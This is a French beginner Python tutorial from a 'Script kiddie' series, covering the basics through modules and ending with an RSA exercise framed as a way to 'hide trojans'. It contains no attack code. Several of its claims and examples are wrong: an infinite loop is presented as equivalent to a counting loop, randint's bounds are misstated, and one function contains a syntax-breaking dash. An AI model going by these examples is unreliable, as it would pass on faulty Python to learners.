🌙
  • 🇺🇸 English
  • 🇫🇷 Français
  • 🇪🇦 Español

NOTE Post Réécriture : Cet article, et bien d’autres, fait parti de la série “Script kiddie”. Il a été écrit il y a plusieurs années. Son contenu n’est pas à jour et il contient potentiellement des erreurs. Plus d’information sur la page de présentation de la série.

Dans ce chapitre, vous allez maîtriser un de vos premiers langages de programmation : Python. Pourquoi celui-ci et pas un autre ? Eh bien tout simplement parce qu’il est :

Alors lançons-nous à la découverte de ce langage aux allures faciles mais dont la complexité pouvant jaillir de ses mécanismes en surprendra plus d’un !

Avant toutes choses, il est primordial de posséder Python dans sa dernière version (à l’heure où j’écris, la 3.10). Il est possible que depuis la rédaction de ce livre, bien des versions aient été créées. Pas d’inquiétude à avoir à ce propos, les grandes lignes resteront les mêmes. Pour installer Python :

apt install python

À l’assaut de l’interpréteur

Lançons l’interpréteur Python :

$ python

Nous nous retrouvons en face d’une sorte de console où le dollar est remplacé par des chevrons :

>>>

Assez austère à première vue, l’interpréteur vous permettra d’essayer des bouts de code très rapidement sans avoir à exécuter l’entièreté d’un script. Nous pouvons dès maintenant rentrer nos premières lignes de code, les plus importantes, les opérations arithmétiques de base :

>>> 3+2
5
>>> 10 - 5
5
>>> 9 * 8
72
>>> 5 / 2
2.5

Il existe même un opérateur qui va vous paraître un peu inutile au début, voir même, incompréhensible : le modulo. Il renvoie le reste d’une division euclidienne entre le dividende et le diviseur :

>>> 5 % 2
1
>>> 35 % 3
2

Faire des calculs est un plus, mais le mieux est encore de pouvoir stocker les valeurs quelque part afin de les réutiliser plus tard. C’est pourquoi l’informatique a accouché d’un concept fort utile issue des mathématiques, les variables.

Ce sont de petites cases de la mémoire de votre ordinateur, que vous allez affubler d’un nom et où vous allez y inscrire une valeur. En python, on distingue plusieurs types de valeurs qui peuvent être mises au sein d’une variable :

Pour déclarer une variable en python, on note son nom, puis on lui assigne une valeur à l’aide du symbole égal :

>>> maVariable = 3

Par la suite, cette valeur est entrée en mémoire durant toute l’exécution du programme. Les variables sont volatiles, c’est-à-dire que la mémoire sera effacée à la fin de l’exécution du programme. On dit alors que cette mémoire est cache ou volatile, ce qui lui donne l’avantage d’être très rapide, mais assez limité en taille. Veillez donc à trouver d’autres méthodes si vous vouliez sauvegarder définitivement vos données issues du script.

On peut donc très facilement avoir accès à la valeur mis en mémoire en tapant le nom de la variable :

>>> maVariable
3

De même, les opérations arithmétiques sont tout à fait possibles avec les variables, que ça soit pour l’assignation de valeur (faire en sorte qu’une variable a porte la valeur d’une variable b) ou juste pour l’obtention d’un résultat :

>>> x = 2 + 3
>>> y = x * 4
>>> y
20

Ces lignes sont assez intéressantes pour l’esprit qui cherche à se divertir, mais ce qui nous intéresse, c’est l’écriture de script plus complexe, ceux où nous pourront rentrer une myriade d’informations à la fois. Alors sautons le pas :)

Notre premier programme

Pour écrire nos programmes python, nous aurons besoin d’un éditeur de texte. Si vous n’en avez pas, je vous conseille de retrouver la partie sur l’édition dans le chapitre sur Linux.

Dans un deuxième temps, il n’est pas obligatoire de mettre le spécificateur d’interpréteur pour exécuter le fichier (il ne le faut que si le fichier est exécuté comme vous exécuteriez un script bash). La commande pour lancer nos scripts sera donc :

python nomScript.py

Commençons donc à écrire notre premier programme, il s’agira de demander à l’utilisateur son nom, puis de l’afficher, mais comment faire ?

Python dispose de nombreuses fonctions dites natives. Ce sont des bouts de codes écrits par les développeurs permettant de gagner un temps bien précieux et de ne pas réinventer la roue à chaque écriture de programme. Parmi ces fonctions, il y en a deux qui vont nous intéresser ici :

Nous nous pencherons plus tard sur la véritable conception d’une fonction, retenez uniquement que ce sont des bouts de code que l’on appelle dans un but précis. Par exemple, si je reprends l’interpréteur python et que j’utilise la fonction print(), le résultat sera bien prévisible :

>>> print("Salut !")
Salut !

Ce que nous avons mis dans la fonction est directement affiché. Avec cette explication supplémentaire, le programme que nous devons coder ne devrait pas trop poser de problèmes durant son écriture. Essayez de le faire vous-même, je vous mets la réponse ci-dessous pour que vous puissiez vérifier :

#!/bin/python
reponse = input("Rentrez votre nom : ")
print("Votre nom est ", reponse)

Explications : La fonction input() va afficher le texte « Rentrez votre nom : » à l’utilisateur. Ce dernier va donc rentrer son nom et la valeur sera stockée à l’intérieur de la variable reponse. La variable doit, à la fin, être affichée, c’est pour cela que l’on utilise la fonction print(), dans laquelle on rentre un texte sommaire pour présenter la valeur qui va être affichée, et notre variable reponse.

NOTE : Vous pouvez visualiser plus d’informations sur une fonction à l’aide de la fonction help(function). Pour quitter la notice, appuyez sur q.

Un deuxième petit exercice pour la route, ça se tente ?

Je vous avais parlé plus tôt du type de variable nommé liste, mais nous n’avons pas encore abordé ce qu’il en était vraiment. Une liste est un ensemble de valeur (d’autres variables si vous préférez) accessible et modifiable à n’importe quel moment. Les éléments qui la composent sont mis entre crochets :

>>> maListe = []

Ici, notre liste est vide. Pour y ajouter des valeurs, il suffit de les séparer par une virgule en les notant un à un :

>>> maListe = [1, 4, 10]

Bien sûr, les listes peuvent combiner plusieurs types à la fois :

>>> maListe2 = ["chaussette", 143.78, False]

Pour accéder à un élément de la liste, il suffit ensuite de rentrer le nom de la liste, puis entre crochet, l’index de l’élément dans la liste, c’est-à-dire le rang qu’il occupe où l’endroit où il se trouve dedans.

Les listes ont cette spécificité d’avoir un système d’indexation un peu particulier. L’élément numéro 1 aura pour index 0, le 2 aura 1, le 3 aura 2, etc. C’est une règle commune à tous les langages de programmation, les listes commencent par l’index 0, et qui provoque bon nombre d’erreurs.

Pour accéder aux valeurs de maListe, il faudra donc taper :

>>> maListe[0]
1
>>> maListe[1]
4
>>> maListe[2]
10

Idem pour maListe2 :

>>> maListe2[0]
'chaussette'
>>> maListe2[1]
143.78
>>> maListe2[2]
False

Ce qu’il y a de plus fou dans l’utilisation des listes, c’est la modification des éléments qui devient extrêmement facile :

>>> maListe[0] = 123

Si on affiche le résultat, la valeur a bien été changée :

>>> print(maListe)
[123, 4, 10]

On reparlera un peu plus tard plus en détail des listes, mais pour le moment, retenez que c’est un type de donnée à part entière capable de supporter une multitude d’éléments en son sein.

Mais revenons à notre exercice. Si je vous ai fait cette petite digression sur les listes, c’est que je vous sens prêt à affronter un code plus costaud. Vous allez programmer un système où l’utilisateur peu choisir un article de magasin parmi 5 et la machine lui renvoie le montant qui lui sera facturé pour cet article. Pour vous aider, mettez les prix des produits sous la forme d’une liste, et demander à l’utilisateur le numéro du produit qu’il désire, ce dernier correspondra alors à l’index du prix dans la liste.

Fonction dont on se servira : int(), input(), print()

NOTE : La fonction int() permet de convertir une chaîne de caractères en nombre.

Solution de l’exercice :

#!/bin/python
prix = [0.1, 0.3, 0.05, 0.4, 0.2]
print("Chosissez un article :")
print("[0] concombre")
print("[1] poire")
print("[2] fraise")
print("[3] orange")
print("[4] pomme")
rep = input("Entrez le numéro de votre choix : ")
rep = int(rep)
print("Vous devez payez : ", prix[rep], "€")

NOTE : Vous pouvez utiliser trois apostrophes de chaque côté d’une chaîne de caractères si vous voulez imprimer plusieurs lignes (''' texte ''').

Les conditions et les boucles

Mais que serait la programmation sans ce qui lui donna ses lettres de noblesse, à savoir la logique et l’automatisation. Nous allons les étudier dans ce chapitre-ci, ce qui permettra d’agréer vos petits programmes d’une certaine logique et d’une complexité inédite.

Nous avions vu, lorsque nous abordions les types de données (variables) qu’il en existait une sorte un peu spéciale nommée booléens, mais que sont-ils vraiment ?

Je vous avais dit qu’il ne pouvait s’agir que de deux possibilités, soit vrai, soit faux, mais à quelle question ? Eh bien, à une proposition logique que l’on va donner à Python.

Les propositions logiques sont un peu du même acabit de ce que l’on peut voir lorsque on aborde la logique en mathématique au lycée. On donne une proposition, et il faut démontrer si elle se trouve être vraie ou fausse, et ça, Python c’est très bien le faire tout seul. Ces réponses à nos propositions vont nous être utiles pour formuler des conditions, c’est-à-dire des morceaux de code que l’on exécute si et seulement si la proposition posée au préalable est vraie. Les propositions sont bien souvent des comparaisons, mais aussi la vérification de la présence d’un élément dans une liste ou encore l’utilisation d’opérateur logique redonnant un résultat sous forme de booléen :

Comparaison

OpérateurExplication
a == ba est égal à b
a < bA est strictement inférieur à b
a > bA est strictement supérieur à b
a <= bA est inférieur ou égal à b
a >= bA est supérieur ou égal à b
c in texteC est présent dans la chaîne texte

Logique

OpérateurExplication
not aRenvoie True si a est faux, et inversement
a or bOu inclusif : Renvoie True si a OU b est vrai
a and bEt : Renvoie True si a ET b sont vrais

Binaire

OpérateurExplication
a | bOu binaire : renvoie 1 si a OU b est 1
a & bEt binaire : renvoie 1 si a ET b sont 1
a ^ bOu exclusif : Renvoie 1 si a OU b est 1, 0 si a ET b de même valeur

Maintenant que l’on connaît les différentes propositions possibles, on va pouvoir les importer dans notre code Python afin de rendre nos programmes plus performants. Comme dans tout langage de programmation, les blocs if … else … (si … sinon …) sont utilisés afin de mettre en place nos conditions :

if condition:
    faire...

Et avec un bloc else, qui va nous permettre d’exécuter du code si la condition est invalide, cela donne :

if condition:
    faire...
else:
    faire...

WARN : Tabuler son code est extrêmement important en Python. Il permet au langage de reconnaître les blocs et de les exécuter correctement.

NOTE : Les espaces peuvent également servir à tabuler, veillez juste à en mettre le bon nombre à chaque ligne.

Petit exemple d’utilisation, on veut comparer deux nombres rentrer par l’utilisateur puis lui renvoyer lequel est supérieur à l’autre :

#!/bin/python
nb1 = int(input("Nombre 1 : "))
nb2 = int(input("Nombre 2 : "))
if nb1 < nb2:
    print("Nombre 2 est supérieur à Nombre 1")
else:
    print("Nombre 1 est supérieur à Nombre 2")

Les conditions ne sont vraiment pas compliquées à utiliser et constituent la base de la programmation logique.

Maintenant, une petite série d’exercice pour vérifier que la notion est bien comprise et qu’elle ne vous pose aucun problème (j’en suis sûr) :

Abordons maintenant les boucles. Ce ne sont ni plus ni moins que des conditions qui vont se répéter jusqu’à ce qu’elles soient fausses. Une des premières boucles que nous allons voir est while.

While vient de l’anglais et veut dire « tant que », ce qui, mis dans un langage logique, veut dire « tant que ma condition est vraie, exécute ce bloc d’instructions ». Traduit en Python, cela donne :

while condition:
    fait...

WARN : Faites bien attention à ne pas créer de boucles infinies en insérant une condition qui ne soit jamais fausse. Votre ordinateur vous remerciera.

Par exemple, si nous voulions afficher le résultat d’une variable qui est incrémentée à chaque fois, le code serait :

#!/bin/python
compteur = 0
while compteur < 5:
    print("compteur = ", compteur)
    compteur += 1

NOTE : Pour faire une assignation par opération (une incrémentation par exemple), utilisez le symbole arithmétique voulu, suivi d’un égal et du nombre choisi.

L’apparition des boucles a vu la création de deux nouveaux mot-clefs en plus : break et continue. Le premier sert à arrêter la boucle définitivement, même si la condition est encore valide ; le second sert à sauter une itération de la boucle et à passer à la suivante, sauf si la condition est alors invalide.

Nous pourrions alors réécrire exactement le même algorithme mais sous une forme différente :

#!/bin/python
compteur = 0
while True:
    print("compteur = ", compteur)
    if compteur >= 5:
        break

Le résultat est également le même, sauf que la condition de départ sera toujours valide (pourquoi serait-elle fausse ?).

Vous les sentez venir les nouveaux exercices :) Cette fois-ci, je vais être gentil, je ne vous en mets qu’un seul mais qui va vous demander un peu plus de réflexion. On vous donne le code suivant permettant à l’utilisateur d’effectuer des calculs entre deux nombres :

#!/bin/python 
while True: 
    print('''=-= Machine à Calculs =-= 
[1] Addition 
[2] Soustraction 
[3] Multiplication 
[4] Division 

[0] Quitter''') 
    choix = int(input("Faites votre choix : "))

Complétez-le, de sorte qu’il soit pleinement fonctionnel. Vous pouvez demander à l’utilisateur de rentrer ses nombres avec la fonction input(), n’oubliez juste pas de les transformer en nombre.

Abordons dès à présent le deuxième type de boucle : for. Ce type de boucle permet de parcourir un objet, c’est-à-dire d’exécuter le bloc de code pour chaque élément de l’objet. Par exemple, elle pourra parcourir chaque caractère d’une phrase ou encore, chaque élément d’une liste. De plus, à chaque itération, on met un compteur qui récupère la valeur de l’élément étudier.

Petit exemple pour que vous puissiez comprendre :

#!/bin/python
for i in [1, 2, 3]:
    print(i)

Le résultat sera :

1
2
3

De même avec une chaîne de caractères :

#!/bin/python
for i in "Salut !":
    print(i)

Où le résultat sera cette fois-ci :

S
a
l
u
t
 
!

Bien sûr, dans nos exemples, j’ai utilisé i en tant que variable prenant la valeur de chaque élément, mais vous pouvez la remplacer par ce que vous voulez. On met i par convention d’écriture, c’est tout.

Pour vous entraîner vous pouvez essayer de réaliser un petit algorithme renvoyant l’ensemble des nombres premiers (divisibles uniquement par 1 et par eux-mêmes, ex : 7) compris entre 1 et 100.

NOTE : Aidez-vous de la fonction native range(n) qui permet de parcourir les nombres entiers de 0 à n. Faites attention car n est exclu de la liste.

Dans la même veine, essayez de créer un algorithme qui renvoie le nombre d’occurrence de chaque caractère dans une phrase peut être envisagé. Pour ce faire, laissez-moi vous présenter un nouveau type de donnée un peu particulier : le dictionnaire.

Vous allez très certainement être surpris, car je vous ai menti, il n’y a pas que quatre types de données en python, mais beaucoup plus, nous n’avions pas le temps de tous les aborder en début de chapitre.

Les dictionnaires sont un type de liste, à l’exception que pour accéder à une valeur, on ne se servira pas d’un index mais d’une clef, c’est-à-dire une deuxième valeur. Il aura donc cette structure particulière :

dictionnaire = {"clef" : "valeur"}

Cela permet ainsi de clarifier plusieurs informations sur une variable. Admettons que vous ayez une voiture à décrire, eh bien le dictionnaire est votre plus grand ami :

voiture = {
    "marque" : "peugeot",
    "nom" : "406",
    "chevaux" : 2,
    "places" : 2,
    "km" : 14567
}

WARN : N’oubliez pas de séparer les différents attributs du dictionnaire par une virgule, comme dans l’exemple ci-dessus.

La modification devient beaucoup plus claire grâce au dictionnaire :

voiture["km"] += 1

L’utilisation du dictionnaire va vous simplifier la vie pour l’exercice que je vous ai proposé, vous allez pouvoir rentrer chaque caractère apparaissant pour la première fois comme une clef, et le nombre de fois où il revient comme une valeur de cette clef. Je ne vous ai juste pas dit comment l’on parcourt un dictionnaire. Il existe trois méthodes, celle pour parcourir les clefs :

for i in dictionnaire.keys() :
    # fait...

Celle pour, à l’inverse, parcourir les valeurs :

for i in dictionnaire.values() :
    # fait...

Et la dernière, pour parcourir tout le dictionnaire, indépendamment des clefs ou des valeurs :

for i in dictionnaire.items() :
    # fait...

Dans ce dernier cas, i va prendre la valeur d’un tuple, c’est-à-dire une liste non-modifiable (encore un autre type de donnée dont j’ai oublié de vous parler) qui aura pour index 0, la clef, et pour index 1, la valeur.

Vous devez maintenant être suffisamment armé pour réussir à faire cet exercice.

NOTE : Essayez de commenter votre code pour ne pas vous perdre, aujourd’hui ou dans un mois. Ajouter le symbole # devant une ligne et elle sera ignorée lors de l’exécution du programme.

Fonctions et récursivité

Maintenant que nous avons abordé les boucles et les conditions, nous allons pouvoir parler d’un autre élément très important de la programmation : les fonctions. Elles vont vous permettre de répéter des morceaux de codes en dehors d’une boucle et à n’importe quel moment. De même, la rédaction et la lecture de votre programme sera beaucoup plus simple.

Pour déclarer une fonction (notez le vocabulaire spécifique), il suffit d’utiliser le mot-clef def et de taper ensuite le nom de la fonction. Des paramètres peuvent être passés à la fonction, c’est-à-dire des variables qui seront utilisées au sein de la fonction et seulement dans cet endroit.

La syntaxe ressemblera donc à ça :

def maFonction(param1, param2, etc):
    # fait...

Si vous n’arrivez pas trop à vous représenter le fonctionnement d’une fonction, eh bien repensez à vos cours de mathématiques (je sais, cet argument n’est pas très vendeur :/). On donne un antécédent à une fonction, elle opère un certain nombre de calculs, et elle renvoie une image. En python, c’est à peu près la même chose, à l’exception près qu’il n’y a pas d’obligation quant au renvoi de valeur.

Par exemple, soit la fonction, sa représentation en Python serait :

#!/bin/python
def f(x):
    return 3 * x + 2

Le mot-clef return est utilisé pour renvoyer une valeur en dehors de la fonction que l’on va pouvoir réutiliser, par exemple pour afficher le résultat à l’utilisateur :

print("L'images de la fonction f pour x = 2.5 est ", f(2.5))
L’image de la fonction f pour x = 2.5 est 9.5

L’utilité d’une telle fonction laisse à désirer, mais imaginez-vous en train de programmer un très gros programmes permettant de retrouver l’ensemble des répertoires d’un site en vu de tous les visiter pour trouver une faille à exploiter. Eh bien nous pourrions très bien imaginer une première fonction effectuant la recherche des dossiers, et une deuxième fonction dessinant une interface graphique pour rendre le logiciel plus pratique à l’utilisation.

Découper son code en plusieurs fonctions représentent un gain de temps lorsqu’il faut exécuter plusieurs fois la même action nécessitant un grand nombre de ligne. Prenez garde cependant à ne pas en abuser pour laisser votre code clair…

Ce qui est pratique avec les fonctions, c’est le jeu de paramètre que l’on peut mettre en place. On peut parfaitement voir un paramètre s’auto-déclarer dans la définition de la fonction :

#!/bin/python
def suite(n, u=0):
    for i in range(n):
        u = u + 3
    return u

Ici, même si l’utilisateur n’a pas donné de valeur à u, le programme en a tout de même une par défaut, ce qui va éviter de ressortir une erreur. Dans le cas présent, l’utilisation d’une telle méthode est inutile, mais on pourrait très bien imaginer une fonction qui dessinerait une fenêtre pour un programme et qui demanderait à l’utilisateur la taille qu’il souhaite en longueur et en largeur. Avoir une taille par défaut dans le cas où elle n’est pas précisée est une idée excellente, car elle permet de continuer l’exécution sans tout bloquer pour une information mineure manquante.

De même que l’on peut jouer avec les paramètres, il est tout à fait possible de jouer avec la structure même des fonctions. Vous n’y avez sûrement pas pensé, mais que se passerait-il si on appelait une fonction en son sein en lui donnant différents paramètres :

#!/bin/python
def f(n=5):
    print(n)
    if n > 0:
        f(n-1)

Le résultat va être le même que si l’on avait fait une boucle for, mais à l’envers. Nous venons de créer ce qu’on appelle une fonction récursive. Elles peuvent servir de boucle, bonne alternative aux autres méthodes dites itératives.

NOTE : Bien que les fonctions récursives soient fortes utiles, les boucles itératives resteront majoritaires dans vos codes. L’utilisation de l’une des deux se fait dans des cas précis que vous arriverez à détecter avec le temps.

WARN : Veillez bien à arrêter l’ouverture de nouvelles fonctions, vous vous retrouveriez dans le même cas qu’une boucle infinie sinon.

Il y a quelques notions associées à ces fonctions récursives. La première, il existe une pile d’exécution sur laquelle les différentes ouvertures de fonction vont s’empiler. Comme toute pile, elle atteint une hauteur maximale, ce qui vous sera signalé par Python avec RecursionError: maximum recursion depth exceeded.

A l’inverse du code Python standard qui peut être vu comme une file où chaque instruction sort au fur et à mesure, la pile d’exécution des fonctions fonctionnent tant que l’on peut empiler. Elle dépile successivement les fonctions de la dernière ouverte jusqu’à la première.

NOTE : On parle de méthode LIFO pour une pile : Last in First out. Quant aux files, on parle de FIFO : First in First out.

Les fonctions récursives amènent donc de nouvelles manières de travailler en proposant deux manières de voir le code en fonction de l’utilisation de boucles itératives ou récursives. La première est appelée Bottom-Up, on part d’une valeur n égal à 0 et on s’arrête à un certain rang, c’est ce que vous faites lorsque vous utilisez la boucle for. La deuxième, nommée Top-Down, on part d’une valeur n donné supérieur à 0, et on diminue de un en un jusqu’à n = 0.

Ces deux méthodes vont permettre de modifier la complexité de votre code, c’est-à-dire d’optimiser certains passages pour les rendre plus rapide à l’exécution.

Depuis un moment, je vous parle d’erreurs, mais nous n’avons toujours pas abordé le sujet en profondeur. Alors laissez-moi vous présenter le monde fascinant des erreurs en Python avant une petite séance d’exercices.

Lorsque vous écrivez un programme et qu’une action non autorisée est exécutée, Python va lever une exception, c’est-à-dire une erreur à nos yeux. Bien que la plupart du temps, ces dernières nous embêtent et nous agacent au plus haut point, mais elles peuvent s’avérer utiles quand on les maîtrise. Au lieu de laisser un message barbare s’afficher au visage de vos utilisateurs, on peut récupérer cette expression et la transformer pour l’afficher mais de manière plus soutenue sans freiner l’exécution.

Pour ce faire, on utilise le bloc try … except … :

#!/bin/python
try:
    # faire...
except TypeErreur:
    # faire...

Par exemple, on crée la fonction inverse en Python, et on propose à l’utilisateur de rentrer lui-même le dénominateur :

#!/bin/python
def inverse(x):
    return 1 / x

print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : "))))

Que se passerait-il si l’utilisateur rentrait le chiffre 0 ? Le programme va lever une exception, car on ne peut diviser par 0 en mathématique :

Rentrez x : 0 
Traceback (most recent call last): 
 File "/home/jacky/f.py", line 5, in <module> 
   print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : ")))) 
 File "/home/jacky/f.py", line 3, in inverse
   return 1 / x 
ZeroDivisionError: division by zero

Ici, c’est l’erreur ZeroDivisionError, il existe un paquet d’autres types d’erreurs. Je ne vous les mets pas la liste complète des erreurs, vous aurez bien le temps de toutes le découvrir. La solution est alors d’utiliser try pour lever une exception et invalider la demande de l’utilisateur :

#!/bin/python
def inverse(x):
    try:
        return 1 / x
    except  ZeroDivisionError:
        print("Division par 0 interdite")
        return 0

print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : "))))
Rentrez x : 0
Division par 0 interdite
L'inverse de votre nombre est :  0

Notre erreur est résolue et ne ruine pas l’expérience d’utilisation.

NOTE : Spécifier une erreur n’est pas obligatoire. except seul peut lever une exception. Cependant, spécifier la nature de l’exception permet de rajouter de la clarté à votre code.

De la même manière, Python ne possède pas des exceptions pour tous les cas de figures, il va donc falloir créer vos propres erreurs afin d’engager des actions plus propres à vos exigences. Mais nous ne pourrons pas voir ça pour l’instant, vous n’avez pas les compétences nécessaires pour qu’on puisse en parler.

Le mot-clef qui sera utilisé pour cette action peut tout de même être utile pour afficher de plus amples informations à l’utilisateur en cas d’exception sans utiliser d’instruction print(), il s’agit de raise :

raise typeErreur(msg)

Par exemple, dans un programme qui demande à l’utilisateur de rentrer un nombre avec la fonction input() :

#!/bin/python
nb = input("Rentrez un nombre : ")
try:
    int(nb)
except:
    raise ValueError("Vous n'avez pas rentré un nombre")

NOTE : Le mot-clef raise interrompt l’exécution comme une erreur classique.

Petite séance d’exercices maintenant, il vous faut :

Comme d’habitude, je ne vous mets pas de correction, vous arriverez très bien à force de persévérance, à vous rendre compte si votre code fonctionne ou non. C’est d’ailleurs là l’objectif de ces exercices, vous faire chercher, jusqu’à ce que vous compreniez ce que vous faites.

NOTE : Pour ceux fâchés avec les maths : un nombre entier a est divisible par un autre nombre entier b, si et seulement si le reste de la division euclidienne de a par b donne 0. Autrement dit, a % b = 0.

NOTE : Gardez bien dans un fichier les fonctions sur les diviseurs et le PGCD, nous en auront besoin plus tard…

Modularité

À force de me lire, vous devez commencer à comprendre certaines logiques inhérentes à la programmation et l’algorithmie, et notamment une loi impitoyable qui s’appelle la paresse. Comme chaque être humain, les développeurs sont partisans du moindre effort, ou du moins, quand ils le peuvent. Afin d’éviter de réinventer la roue à chaque programme, ils ont mis en place les modules (ou librairies), bribes de codes à partager à tous simplifiant certaines utilisations de Python.

Il existe des modules pour tout et surtout pour rien. Pour générer des nombres aléatoires, utiliser les commandes du système, faire tourner plusieurs processus en arrière plan ou encore pour utiliser certains algorithmes comme le base64.

Afin de simplifier leurs utilisations et leur partage, un site répertoriant tous les modules existe : https://pypi.org/.

Pour installer un de ces paquets, la commande utilisée sera pip, quel que soit le système d’exploitation que vous utilisez :

pip install [paquet]

Rappelez-vous la commande issue de la partie sur Linux pour installer des paquets depuis un fichier de dépendances :

pip install -r requirements.txt

NOTE : Pip est préinstallé sur les versions 3.10 et supérieurs de Python. Si ce n’est pas le cas pour vous, suivez les instructions de la doc pour l’installer manuellement.

Mais revenons à nos modules. Beaucoup des plus utiles sont déjà installés avec Python, et nous allons en découvrir quelques-uns. Le premier est le module random, permettant de générer des nombres aléatoires.

Afin d’importer un module en Python, on utilise l’instruction import suivie du nom du module :

#!/bin/python
import random

Maintenant que notre module est importé, nous pouvons commencer à utiliser ses fonctions. Cependant, il va falloir faire un premier pas dans le chapitre d’après pour comprendre comment toutes ces fonctions sont ajoutées à Python.

Python est un langage orienté objet, c’est-à-dire que le développement de logiciel se fait selon la logique que n’importe quel élément possède ce que l’on appelle des méthodes. Ces méthodes sont-elles mêmes des objets invoquant de nouvelles méthodes, qui sont elles-mêmes des objets invoquant de… Bref, c’est une régression à l’infini, tout ça pour dire que les objets et leurs méthodes sont omniprésents dans Python.

Je vous ai parlé d’objets tout au long de ce livre sans jamais vraiment les définir. Les objets sont toutes les données que vous avez ou allez manipuler, il en existe plusieurs types : les nombres, les caractères, les listes, les tuples, les fonctions, les modules, les dictionnaires, etc.

On peut retrouver facilement les méthodes d’un objet à l’aide de la fonction native dir() :

>>> dir(0)
['__abs__', '__add__', '__and__', ... , 'to_bytes']

Et oui, si vous le vouliez, vous pourriez consulter les méthodes de la fonction dir :

>>> dir(dir)
['__call__', '__class__', '__delattr__', ... ,'__text_signature__']

Afin d’appeler les méthodes d’un objet, on met le nom de l’objet, suivi du nom de la méthode que l’on désire :

>>> x = 0
>>> x.real
0

La méthode real du type int permet d’avoir la partie réelle de n’importe quel nombre (méthode inutile mais bien pratique pour cet exemple).

NOTE : Certains objets, comme les nombres, ne peuvent pas être appelés lorsqu’ils ne sont pas déclarés sous la forme de variable.

Comme tout objet, les modules possèdent donc des méthodes, sauf qu’ici, elles sont directement écrites par le développeur. Certains font très bien leur boulot et ajoute une documentation, en cas de problème cela peut simplifier la vie des développeurs en leur permettant de lire le manuel de chaque fonction proposée par le module.

Ainsi, on peut tout à fait visualiser les commandes mises à disposition à l’intérieur de random :

>>> import random
>>> help(random)

Toutes ces choses sont très bien, mais vous sentez bien qu’à la longue, toujours devoir taper random pour faire utiliser une de ces fonctions devient rébarbatif. Les développeurs ont donc inventé un nouveau mot-clef, as, qui va instancier un nouveau nom pour le module pour votre programme.

Ainsi, taper ces lignes comme vous en aurez très vite l’habitude :

#!/bin/python
import random
print(random.randint(0, 10)) # Nombre aléatoire entre 1 et 10

Aura exactement le même effet que de taper :

#!/bin/python
import random as r
print(r.randint(0, 10)) # Nombre aléatoire entre 1 et 10

WARN : Faites attention à laisser des noms à peu près clairs à vos modules pour faciliter la relecture du code. Ici le nom n’est pas clair du tout

Mais on peut faire encore plus fou pour gagner un peu de temps dans certains cas. Afin d’éviter les conflits de fonctions existantes dans plusieurs modules, les concepteurs de python avaient en mis ce système de méthodes, mais ils ont laissé la possibilité d’importer directement les attributs du module dans Python lui-même.

On utilisera donc un autre moyen pour importer, par exemple, avec les fonctions mathématiques :

>>> from math import *

Cette ligne veut dire : « importe tous les composants du module math et incorpore-les à la base de Python ». Ainsi, pour obtenir la valeur de π, je n’aurai plus à taper cette longue ligne :

>>> math.pi
3.141592653589793

Je pourrai le faire directement en tapant :

>>> pi
3.141592653589793

De même, afin de ne pas avoir à importer trop de code, on peut sélectionner directement les composants que l’on souhaite en remplaçant l’astérisque, qui je le rappelle met en évidence une sélection de tous les éléments, par le nom des méthodes qui nous intéressent :

#!/bin/python
from math import cos, sin, tan
import math
print("Cosinus de π / 2 = ", cos(math.pi / 2))

NOTE : L’utilisation des fonctions trigonométriques se fait en radians et non en degrés. Les non-initiés aux mathématiques seront perdus, mais dites-vous que pour toute transformation d’angle α, il suffit de faire (α*π)/180.

À savoir que vous aussi vous pouvez programmer vos propres modules, ou du moins, séparer votre code en plusieurs fichiers distincts. Cela peut permettre de rajouter un peu plus de clarté à vos productions.

Admettons que je possède un fichier nommé fonctions.py dans mon répertoire de travail, et que je souhaite accéder à toutes mes fonctions incroyables depuis un autre fichier, eh bien c’est tout à fait possible. Voici le contenu de fonctions.py :

#!/bin/python
import math
def f(x):
    '''f(x) = 3x + 3'''
    return 3 * x + 3

def g(x):
    '''g(x) = 2x² + 3x – 9'''
    return 2 * (x**2) + 3 * x – 9

def enRadian(a):
    '''Renvoie la valeur en radian de a'''
    return (math.pi * a) / 180

NOTE : Utilisez les guillemets triple apostrophes (‘’’’’’) pour ajouter une doc à vos fonctions. L’utilisation par d’autres développeurs leur sera plus agréable.

Je décide de créer un deuxième script appelé trigo.py. L’agencement de mes fichiers est le suivant :

. 
├── fonctions.py
└── trigo.py

Je n’ai qu’à importer le fichier en utilisant son nom, dépourvu de l’extension py :

#!/bin/python
from fonctions import *
print("La valeur de 180° en radian est ", enRadian(180))

Mais que faire si les fichiers à importer sont trop nombreux, le contenu du dossier n’est plus assez lisible pour qui veut exécuter notre programme :

Il est possible afin de garder une présentation et une organisation des fichiers à peu près potable, d’importer depuis un fichier qui se trouve lui-même dans un dossier.

Par exemple :

. 
├── modules
│   └── fonctions.py
└── trigo.py

La ligne permettant l’import depuis mon dossier sera alors la suivante :

#!/bin/python
from modules.fonctions import *
print("La valeur de 180° en radian est ", enRadian(180))

Ce que vous venez de lire représente tout ce qu’il y a à savoir sur les modules. Les notions n’étaient peut-être pas assez digestes dans la manière dont elles vous ont été montrées, alors tâchons de réviser ensemble avec des exercices guidés (mais pas trop quand même ;) ).

NOTE : Cet exercice va utiliser des points d’arithmétiques, je m’efforcerai à rester le plus clair possible afin que tout le monde puisse me comprendre. L’important n’est pas le côté mathématique, mais l’utilisation des notions, et si vraiment l’utilisation de ces dernières vous brusque, passez à l’exercice qui suit sur le module Turtle.

Ainsi donc, nous revoilà à devoir coder. Je vous avais demandé de garder les fonctions de la fois dernières, car nous les réutiliserions, eh bien nous allons le faire tout de suite. Dans un premier temps, renommer le fichier qui contenait vos fonctions en pgcd_func.py. Créez ensuite un nouveau script nommé rsa.py, notre objectif sera de reproduire notre version de ce célèbre algorithme de chiffrement afin de « cacher » nos trojans.

Tout le reste de l’exercice se fera dans le fichier rsa.py. Importez les fonctions de la partie précédente, ainsi que le module random.

NOTE : Seule la méthode randint(a, b) du module random sera utilisée, vous pouvez donc ne sélectionner que cette dernière. Pour rappelle, elle renvoie un nombre aléatoire appartenant à [a, b[ (intervalle a inclus, b exclus).

Dans un premier temps, écrivez la fonction premier(a, b) qui renvoie un nombre premier appartenant à l’intervalle a, b inclus ([a, b]). On se servira de la fonction diviseur(a), et on se rappellera qu’un nombre premier n’a que deux diviseurs, 1 et lui-même.

Écrire ensuite une fonction clef(). Elle utilise trois variables : p, un nombre premier aléatoire compris entre 10 et 100, q, un autre nombre premier aléatoire compris entre 10 et 100, et n, le produit de p par q.

